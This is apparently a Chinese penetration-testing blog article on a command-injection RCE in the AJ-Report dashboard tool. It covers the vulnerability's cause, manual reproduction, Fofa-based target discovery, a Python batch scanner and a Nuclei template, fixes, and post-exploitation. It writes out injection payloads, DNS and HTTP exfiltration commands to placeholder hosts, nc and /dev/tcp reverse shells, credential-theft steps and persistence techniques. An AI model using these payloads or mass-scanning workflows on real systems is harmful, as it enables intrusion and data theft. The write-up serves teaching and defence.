1. 项目概述:从一次批量扫描到AJ-Report的RCE漏洞发现
最近在梳理一些开源项目的安全状况,做资产测绘和批量漏洞验证时,一个名为AJ-Report的数据可视化大屏项目引起了我的注意。这项目在GitHub上星星不少,不少企业用它来做内部的数据展示看板。我的工作流里,对于这类流行的Java开源应用,通常会先进行一轮基础的指纹识别和版本匹配,然后丢进自动化扫描器跑一遍,最后再对高风险点进行人工复核。就在这么一套组合拳下来,AJ-Report的一个端点触发了我的告警规则,深入跟进去一看,好家伙,一个妥妥的远程命令执行漏洞,而且利用起来并不复杂。
这个漏洞的本质,是应用在处理某些特定参数时,未对用户输入进行充分的过滤和校验,导致攻击者能够注入并执行操作系统命令。对于一款数据大屏应用来说,这种漏洞的危害性是顶格的。想象一下,攻击者不需要知道任何后台密码,仅仅通过前端访问某个特定功能页面,提交一段精心构造的数据,就能在服务器上为所欲为:查看文件、下载数据库、植入后门、甚至作为跳板攻击内网其他机器。这完全背离了其“数据展示”的初衷,变成了一个高危的风险敞口。
这篇文章,我就来详细拆解这个漏洞的来龙去脉。我会从漏洞的成因、影响版本、如何一步步构造利用载荷,再到如何在实战渗透测试中批量、自动化地发现此类漏洞,以及最重要的——修复和防御建议,做一个全面的分享。无论你是安全研究人员、渗透测试工程师,还是负责运维这类系统的开发或运维同学,相信都能从中获得一些实用的参考。
2. 漏洞核心原理与影响范围深度解析
2.1 AJ-Report项目简介与漏洞入口点
AJ-Report是一个基于SpringBoot的轻量级开源数据可视化大屏构建工具。它允许用户通过拖拽配置的方式,快速连接多种数据源,生成各种图表和报表。由于其开源和易用性,在一些中小型企业的内部BI系统中有所应用。漏洞出现在其文件处理相关的接口中。在早期的某些版本里,项目为了提供一些便捷的文件操作功能(如在线安装字体、预览文件等),开放了接收外部文件路径或命令参数的接口。
问题的核心在于参数注入。当应用接收到用户可控的输入,并直接将此输入拼接至操作系统命令字符串中,然后通过Runtime.getRuntime().exec()或类似的ProcessBuilder方式执行时,漏洞就产生了。例如,一个原本用于“读取指定路径日志文件”的功能,其后台代码可能简化为:String cmd = “tail -f ” + userInputPath;。如果userInputPath是用户从前端传入的,且未做任何过滤,那么攻击者传入/tmp/1.log; id; #,最终执行的命令就变成了tail -f /tmp/1.log; id; #。分号;在Linux Shell中意味着命令分隔,#是注释符,这样id命令就被成功注入并执行了。
2.2 漏洞利用链与命令执行上下文
理解漏洞的利用链,关键在于弄清楚用户输入是如何“流转”的。在AJ-Report的特定漏洞案例中,攻击路径通常不是直来直去的。它可能涉及多个步骤:
- 前端触发:攻击者首先需要找到一个前端界面或API接口,该接口接受一个参数(比如
fileName、filePath、scriptContent等)。 - 参数传递:这个参数通过HTTP请求(GET或POST)发送到后端Controller。
- 后端处理:后端的某个Service方法接收到参数,并可能进行一些简单的校验(如是否为空、后缀名检查),但缺少了对命令分隔符(如
;、&、|、\n、反引号` `、$())的过滤。 - 危险拼接:该方法将用户参数与固定的命令字符串进行拼接。这是最危险的一步。例如,一个字体安装功能,可能调用系统命令
java -jar fontTool.jar install -f [userInput]。 - 执行与回显:拼接后的字符串被传入
Runtime.exec()。执行结果有时会直接返回给前端(如文件列表、执行日志),有时则无回显。有回显的漏洞利用起来更直观,无回显的则需要通过DNS外带、HTTP请求或延时判断等方式进行盲注。
影响范围方面,该漏洞影响了AJ-Report某个历史版本区间的所有部署实例。只要未升级到已修复的安全版本,且该漏洞接口可被外部网络访问(或虽在内网但攻击者可通过其他方式进入内网),那么该系统就处于高风险状态。由于数据大屏系统往往需要连接核心数据库,其所在服务器的权限和网络位置通常都比较重要,一旦被攻破,极易导致敏感数据泄露和进一步的内网渗透。
注意:在渗透测试中,对于此类漏洞的利用必须严格在授权范围内进行。未经授权对任何系统进行漏洞探测和利用都是违法行为。
3. 手工复现与漏洞利用细节拆解
为了更清晰地理解漏洞,我们搭建一个受影响的测试环境进行手工复现。这里我使用一个漏洞靶场环境,模拟存在漏洞的AJ-Report版本。
3.1 测试环境搭建与漏洞点定位
首先,你需要一个目标。可以从历史版本仓库下载存在漏洞的AJ-Report版本源码,本地编译运行,或者直接寻找包含此漏洞的在线靶场。假设我们目标的访问地址是http://target-ip:8080/aj-report。
漏洞点通常藏在文件管理、数据源测试、脚本执行等功能模块。通过浏览前端页面,配合对浏览器开发者工具中网络请求的抓包,我们可以寻找可疑的接口。常见的可疑接口路径可能包含/file/read、/exec、/install、/test等关键词。更直接的方法是,如果能有源码,直接搜索代码中的Runtime.getRuntime().exec、ProcessBuilder、GroovyShell、ScriptEngine等关键词,能快速定位潜在风险点。
假设我们通过分析,发现一个用于“检查服务器连接”的接口:POST /aj-report/api/dataSource/testConnection。其请求参数如下:
{ “type”: “mysql”, “ip”: “127.0.0.1”, “port”: “3306”, “command”: “ping -c 1 [user_input_ip]” }注意这里的command字段,虽然前端可能固定为ping命令,但后端是否直接使用了command字段的全部内容去执行呢?又或者,ip字段被直接拼接进了command字符串?
3.2 逐步构造与发送攻击载荷
我们假设最坏的情况:后端代码逻辑是String fullCommand = “ping -c 1 ” + ip;,然后执行Runtime.getRuntime().exec(fullCommand);。那么,我们的攻击载荷就构造在ip参数里。
第一步:基础命令注入测试我们发送一个正常的请求,但把ip参数改为127.0.0.1; whoami。
curl -X POST http://target-ip:8080/aj-report/api/dataSource/testConnection \ -H “Content-Type: application/json” \ -d ‘{“type”:“mysql”,“ip”:“127.0.0.1; whoami”,“port”:“3306”,“command”:“ping -c 1 127.0.0.1”}’如果后端存在漏洞且未过滤分号,那么服务器将依次执行ping -c 1 127.0.0.1和whoami。我们需要观察响应。如果响应中包含了当前系统用户的名称(如root),或者响应时间明显变长(因为执行了whoami),则证明注入成功。
第二步:处理空格与参数分割有时,命令注入会遇到空格被过滤或编码的问题。我们可以尝试不使用空格,或者使用其他空白符如${IFS}(在bash中代表内部字段分隔符)、%09(制表符的URL编码)来替代。 例如:ip=127.0.0.1;cat${IFS}/etc/passwd
第三步:突破无回显限制——外带技术如果命令执行了,但结果不返回在HTTP响应中(无回显),我们就需要让目标服务器主动把结果发送到我们可控的接收服务器上。
- DNS外带:利用
nslookup或dig命令,将执行结果作为子域名的一部分,发送到我们拥有的域名DNS服务器上,通过查看DNS日志获取结果。- 载荷示例:
ip=127.0.0.1; nslookup \whoami`.your-domain.com`
- 载荷示例:
- HTTP外带:利用
curl或wget命令,将命令执行结果作为HTTP请求的参数或Body,发送到我们控制的Web服务器。- 载荷示例:
ip=127.0.0.1; curl http://your-server.com/leak?data=$(whoami|base64)
- 载荷示例:
第四步:获取交互式Shell在确认命令可执行后,为了更方便地操作,我们通常会尝试获取一个反向Shell。即在目标服务器上执行命令,让其主动连接我们监听的一个网络端口。
# 在攻击机上监听一个端口(例如4444) nc -lvnp 4444 # 构造注入载荷,让目标机连接我们(假设目标有nc命令) ip=127.0.0.1; nc your-attack-ip 4444 -e /bin/bash如果目标没有nc,可以尝试使用bash、python、php、perl等语言的一行代码反弹Shell。例如使用bash:ip=127.0.0.1; bash -c ‘bash -i >& /dev/tcp/your-attack-ip/4444 0>&1’
实操心得:在实际测试中,目标的网络出口策略可能禁止外连,或者容器内缺少常用的网络工具。因此,准备多种Payload(如不同语言、不同格式的反连命令)并优先尝试DNS外带信息收集,是提高成功率的关键。同时,时刻注意你的操作是否在授权范围内,避免对业务造成影响。
4. 批量漏洞挖掘的自动化策略与实践
在渗透测试或安全巡检中,面对成百上千的资产,手工一个个测试是不现实的。我们需要将上述手工测试的思路,转化为自动化的扫描脚本或集成到扫描器中。
4.1 资产发现与指纹识别
批量挖掘的第一步是找到目标。我们需要收集所有可能使用了AJ-Report的资产。
- 网络空间测绘:利用
Fofa、Shodan、ZoomEye等平台,使用特征关键词进行搜索。例如,搜索title=“AJ-Report”、header=“AJ-Report”、body=“大屏设计器”或者特定静态资源路径如/aj-report/static/。这些平台的API可以帮助我们批量获取IP和端口列表。 - 流量分析与日志审计:在企业内网,可以通过分析边界设备(如WAF、负载均衡)的访问日志,寻找访问路径中包含
/aj-report的请求,从而发现内部使用的资产。 - 子域名与端口扫描:对于已知的域名,使用工具如
subfinder、amass进行子域名枚举,再结合naabu、masscan、nmap进行端口扫描,重点探测8080、80、443等Web服务端口。
获取到目标列表后,进行快速的指纹识别,确认其是否为AJ-Report以及大致版本。可以通过:
- 访问特定路径,如
/aj-report/login,查看页面标题和特征。 - 获取
/aj-report/static/version.txt或类似文件(如果存在)。 - 分析HTTP响应头中的
X-Powered-By或Server字段(有时会泄露框架信息)。 - 使用工具如
Wappalyzer(浏览器插件)或WhatWeb、EHole等命令行工具进行识别。
4.2 编写自动化探测与利用脚本
确认目标后,编写Python脚本进行批量漏洞验证。这里给出一个简化的逻辑框架:
import requests import sys from concurrent.futures import ThreadPoolExecutor def check_vuln(url): """ 检测单个目标是否存在AJ-Report RCE漏洞 """ vuln_api = “/aj-report/api/dataSource/testConnection” # 假设的漏洞端点 target_url = url.rstrip(‘/’) + vuln_api # 一个无害的探测Payload,用于判断注入点是否存在并观察响应特征 # 例如,执行‘sleep 5’,通过响应时间判断 headers = {‘Content-Type’: ‘application/json’} # Payload 1: 基于时间的盲注探测 payload_time = {“type”:“mysql”, “ip”:“127.0.0.1; sleep 5”, “port”:“3306”} try: resp = requests.post(target_url, json=payload_time, headers=headers, timeout=10) # 如果响应时间远大于5秒,说明sleep命令可能被执行了 # 注意:这里需要更精确的时间测量,实际脚本中应记录请求开始和结束时间 except requests.exceptions.Timeout: print(f“[+] {url} 可能存在基于时间的命令注入 (Timeout after sleep)”) return (url, “Potential Time-Based RCE”) # Payload 2: 带外DNS探测(更可靠,但需要配置DNS服务器) # 此处省略DNS外带检测代码... # Payload 3: 尝试有回显的简单命令(需谨慎,避免破坏性命令) payload_echo = {“type”:“mysql”, “ip”:“127.0.0.1; echo vulnerable”, “port”:“3306”} try: resp = requests.post(target_url, json=payload_echo, headers=headers, timeout=5) if ‘vulnerable’ in resp.text: print(f“[!!!] {url} 确认存在命令注入漏洞!”) return (url, “Confirmed RCE”) except Exception as e: pass print(f“[-] {url} 未发现明显漏洞特征”) return (url, “Not Vulnerable”) def main(target_list_file): with open(target_list_file, ‘r’) as f: targets = [line.strip() for line in f if line.strip()] # 使用线程池并发检测,控制并发数避免对目标造成过大压力 with ThreadPoolExecutor(max_workers=10) as executor: results = list(executor.map(check_vuln, targets)) # 输出结果报告 with open(‘scan_results.csv’, ‘w’) as f: f.write(“Target,Status\n”) for url, status in results: f.write(f”{url},{status}\n”) if __name__ == ‘__main__’: if len(sys.argv) != 2: print(“Usage: python scanner.py <target_list.txt>”) sys.exit(1) main(sys.argv[1])脚本要点解析:
- 多Payload策略:脚本依次尝试基于时间延迟、DNS外带、回显判断等多种检测方式,提高准确性,减少误报和漏报。
- 无害化探测:初始探测使用
sleep、ping localhost、echo test等无害命令,避免对目标业务造成影响。这是渗透测试的道德和法律底线。 - 并发控制:使用线程池提高效率,但必须限制并发数(如10-20),避免对目标服务器造成拒绝服务攻击(DoS)。
- 结果记录:将结果结构化输出(如CSV),便于后续分析和报告撰写。
4.3 集成到现有扫描器框架
对于专业的安全团队,更常见的做法是将此漏洞的检测逻辑集成到现有的自动化扫描框架中,如Nuclei、Xray、Goby等。
以Nuclei模板为例,我们可以编写一个YAML格式的检测模板:
id: aj-report-rce-cve-xxxx-xxxx info: name: AJ-Report Remote Command Execution author: your_name severity: critical description: | A remote command execution vulnerability exists in AJ-Report due to improper input validation in the XXX interface. reference: - https://github.com/anji-plus/report/issues/xxx tags: rce,aj-report requests: - method: POST path: - “{{BaseURL}}/aj-report/api/dataSource/testConnection” headers: Content-Type: application/json body: ‘{“type”:“mysql”,“ip”:“127.0.0.1; echo ‘nuclei_rce_test_{{randstr}}‘”,“port”:“3306”}’ matchers: - type: word words: - “nuclei_rce_test_” part: body这个模板定义了一个HTTP请求,如果响应体中包含我们注入的随机字符串,就判定为存在漏洞。使用Nuclei可以方便地对大规模目标进行批量、快速的检测。
注意事项:自动化扫描是一把双刃剑。务必在获得明确授权的前提下进行。扫描频率和并发度要设置合理,避免触发目标的WAF或IDS的防护规则,更不要对生产环境造成性能冲击。最好在测试环境或漏洞靶场上验证脚本的准确性和稳定性。
5. 漏洞修复方案与安全加固建议
发现漏洞不是终点,推动修复、消除风险才是安全工作的价值所在。对于AJ-Report的这个RCE漏洞,以及同类命令注入漏洞,修复和加固需要从开发和安全运维两个层面入手。
5.1 官方修复方案与版本升级
最根本的解决方案是升级到官方已修复的安全版本。开源项目的安全响应流程通常是:研究者报告漏洞 -> 官方确认并修复 -> 发布新版本和安全公告。因此,第一步是密切关注AJ-Report项目的官方GitHub仓库、Release页面和安全公告。
修复的核心代码逻辑通常包括:
- 输入白名单校验:对于文件路径、主机名等参数,严格定义允许的字符集(如字母、数字、点、短横线、下划线),拒绝任何包含命令分隔符的输入。
- 避免直接拼接命令:弃用
Runtime.exec(String command)这种形式。如果必须执行系统命令,应使用Runtime.exec(String[] cmdarray),将命令和参数分开传递。例如:
这样,即使用户输入是// 错误做法:存在注入风险 String userInput = request.getParameter(“ip”); String cmd = “ping -c 1 ” + userInput; Runtime.getRuntime().exec(cmd); // 正确做法:参数分离 String userInput = request.getParameter(“ip”); // 对userInput进行严格的合法性校验(如是否为合法IP格式) if (!isValidIP(userInput)) { throw new IllegalArgumentException(“Invalid IP address”); } String[] cmd = {“ping”, “-c”, “1”, userInput}; Runtime.getRuntime().exec(cmd);127.0.0.1; id,它也会被整体当作ping命令的第四个参数,而不会被解析为新的命令。 - 使用安全的API替代:评估是否真的需要执行系统命令。很多文件操作、网络测试功能,完全可以用Java原生的API(如
java.nio.file.Files、java.net.Socket)来实现,从根本上杜绝命令注入的可能。 - 最小权限原则:运行AJ-Report的Java进程,应该使用一个专用的、低权限的系统用户,而不是
root。这样即使被注入命令,攻击者能造成的破坏也有限。
升级操作步骤:
- 备份当前版本的所有配置文件、数据库连接信息和已创建的大屏项目数据。
- 从官方仓库获取最新的稳定版发布包。
- 仔细阅读新版本的升级文档,特别注意是否有不兼容的变更。
- 在测试环境进行完整的部署和功能验证。
- 制定回滚方案,然后在业务低峰期对生产环境进行升级。
5.2 临时缓解措施与安全配置
如果因种种原因无法立即升级,可以采取一些临时缓解措施来降低风险:
- WAF(Web应用防火墙)规则:在流量入口处部署WAF,并配置针对命令注入攻击的特征规则。例如,检测请求参数中是否包含
;、|、&、反引号、$(等危险字符,以及bash、cmd、powershell等敏感关键词。但要注意,这可能会产生误报,且高级攻击者可能通过编码、混淆绕过规则。 - 网络访问控制:严格限制访问AJ-Report管理后台的源IP地址,只允许运维人员或特定管理网络的IP访问。如果该功能仅限内网使用,确保其不暴露在公网。
- 系统层加固:
- 沙箱/容器化部署:将AJ-Report应用部署在Docker容器中,并配置严格的安全策略(如
readonly根文件系统、无特权的用户、禁用不必要的内核功能),限制容器内命令执行的影响范围。 - 系统命令限制:通过Linux的
seccomp、AppArmor或SELinux等安全模块,限制Java进程可以执行的系统调用和命令,即使被注入也无法执行危险操作。 - 命令执行日志审计:启用并集中收集系统的命令执行日志(如
auditd),监控由Java进程发起的异常命令执行行为。
- 沙箱/容器化部署:将AJ-Report应用部署在Docker容器中,并配置严格的安全策略(如
5.3 安全开发规范与SDL实践
从长远看,防止此类漏洞再次发生,需要将安全融入开发流程(Security Development Lifecycle, SDL)。
- 安全编码培训:对开发团队进行定期的安全编码培训,重点讲解OWASP Top 10漏洞,特别是注入类漏洞的原理、危害和防范方法。
- 代码审计与白盒扫描:在代码提交(CI)环节集成静态应用安全测试工具,如
SonarQube、Checkmarx、Fortify SCA等,自动检测代码中的Runtime.exec、ProcessBuilder等危险函数调用,并标记未经验证的用户输入。 - 依赖组件安全管理:使用软件成分分析工具,持续监控项目依赖的第三方库是否存在已知漏洞,并及时更新。
- 建立漏洞响应机制:团队内部应明确漏洞从接收、验证、修复到发布的流程,确保在出现安全问题时能快速响应。
对于运维和安全人员,定期对线上系统进行授权下的漏洞扫描和渗透测试,是发现潜在风险的必备手段。将AJ-Report这类自建系统的漏洞检测模板,纳入常规的扫描任务中,做到主动发现,及时预警。
6. 渗透测试中的深度利用与后渗透思路
在授权渗透测试中,一旦通过此RCE漏洞获得了初始立足点(一个命令执行shell),我们的工作远未结束。接下来的目标是深入内网,获取关键数据,验证漏洞的实际危害。这里分享一些常规的后渗透思路,请务必记住,所有这些操作都必须在获得明确书面授权的范围内进行。
6.1 信息收集与权限提升
拿到一个Shell后,首先需要了解我们所处的环境。
- 系统信息:执行
uname -a查看内核版本,cat /etc/os-release查看系统发行版,id和whoami查看当前用户权限。如果是root,那权限提升步骤就省了,但这种情况在容器或良好配置的系统里较少见。 - 网络信息:
ifconfig或ip addr查看网络配置和IP地址。netstat -antp或ss -tulnp查看当前网络连接和监听端口,判断目标主机上运行的其他服务,以及是否存在内网网卡。 - 进程与服务:
ps aux查看所有进程,寻找数据库、中间件、备份任务等敏感进程。systemctl list-units或service --status-all查看系统服务。 - 敏感文件与配置:检查当前目录、用户家目录、
/tmp、/var/log等位置是否有敏感文件。查找应用配置文件(如application.yml,application.properties),里面往往包含数据库密码、API密钥等。 - 权限提升:如果当前不是root,尝试寻找提权路径。检查
sudo -l看当前用户能以root身份执行哪些命令。查找具有SUID权限的可执行文件(find / -perm -u=s -type f 2>/dev/null),看看是否有已知的提权漏洞(如利用find、vim、nmap等)。上传并运行LinPEAS或LinEnum这样的Linux本地提权信息枚举脚本,可以自动化地发现很多提权线索。
6.2 内网横向移动与数据获取
如果目标服务器处于内网,那么它很可能是一个通往更核心区域的跳板。
- 内网网段发现:通过
ip route查看路由表,arp -a查看ARP缓存,或者上传一个轻量级的扫描工具(如nmap静态编译版),对内网网段(如192.168.0.0/24、10.0.0.0/8)进行快速扫描,发现存活主机和开放端口。 - 凭证窃取与重用:
- 数据库:如果从AJ-Report配置文件中找到了数据库连接密码,尝试用这个密码去连接内网的其他数据库服务(如MySQL、Redis)。很多人会在多套环境中使用相同或相似的密码。
- SSH密钥:检查
~/.ssh/目录下是否有id_rsa、id_dsa等私钥文件。如果有,尝试用它登录其他内网机器(ssh -i id_rsa user@host)。 - 历史命令与文件:查看
.bash_history文件,里面可能包含其他服务器的访问命令和密码(明文输入的情况虽然少,但并非没有)。寻找脚本、备份文件、文档,里面也可能含有密码。
- 部署持久化后门:为了维持访问(在授权测试中,通常需要证明持久化攻击的可能性),可能会添加一个计划任务(
crontab -e)、创建一个新的系统用户、或者植入一个Webshell到AJ-Report的静态目录下。注意:在真实渗透测试中,这些操作必须与客户明确约定,并在测试结束后彻底清理。
6.3 漏洞利用的边界与报告撰写
在整个过程中,必须时刻牢记测试的边界。
- 时间边界:严格在客户约定的时间窗口内进行测试。
- 范围边界:绝不测试授权书IP列表之外的任何资产。
- 操作边界:避免使用破坏性Payload(如
rm -rf /、dd破坏磁盘),避免对业务系统造成数据篡改、服务中断等影响。优先使用只读命令进行信息收集。 - 数据边界:对获取到的任何敏感数据(包括但不限于配置文件、数据库内容、用户信息)必须严格保密,仅在测试报告中使用必要的脱敏摘要作为证明,测试结束后应按照约定安全销毁。
一份优秀的渗透测试报告,不仅仅是漏洞列表,更是风险与解决方案的桥梁。报告应包含:
- 执行摘要:用非技术语言向管理层说明发现的主要风险、潜在业务影响和整体安全状况。
- 测试范围与方法:明确测试了哪些系统、使用了哪些方法(黑盒/白盒)。
- 漏洞详情:对每个漏洞(如本次AJ-Report RCE),提供清晰的描述、风险等级、受影响资产、复现步骤(请求/响应截图)、漏洞原理分析。
- 影响证明:提供漏洞被利用后的截图或证据,如执行
whoami、ifconfig的命令回显,证明漏洞的真实性和危害性。 - 修复建议:提供具体、可操作的修复方案,包括立即的临时缓解措施和长期的根治方案(如代码修复、配置变更、架构调整)。
- 附录:可以包含一些技术细节、扫描工具输出、参考链接等。
通过这样一份报告,才能将技术发现有效地转化为驱动安全改进的行动力,真正帮助企业提升其安全水位。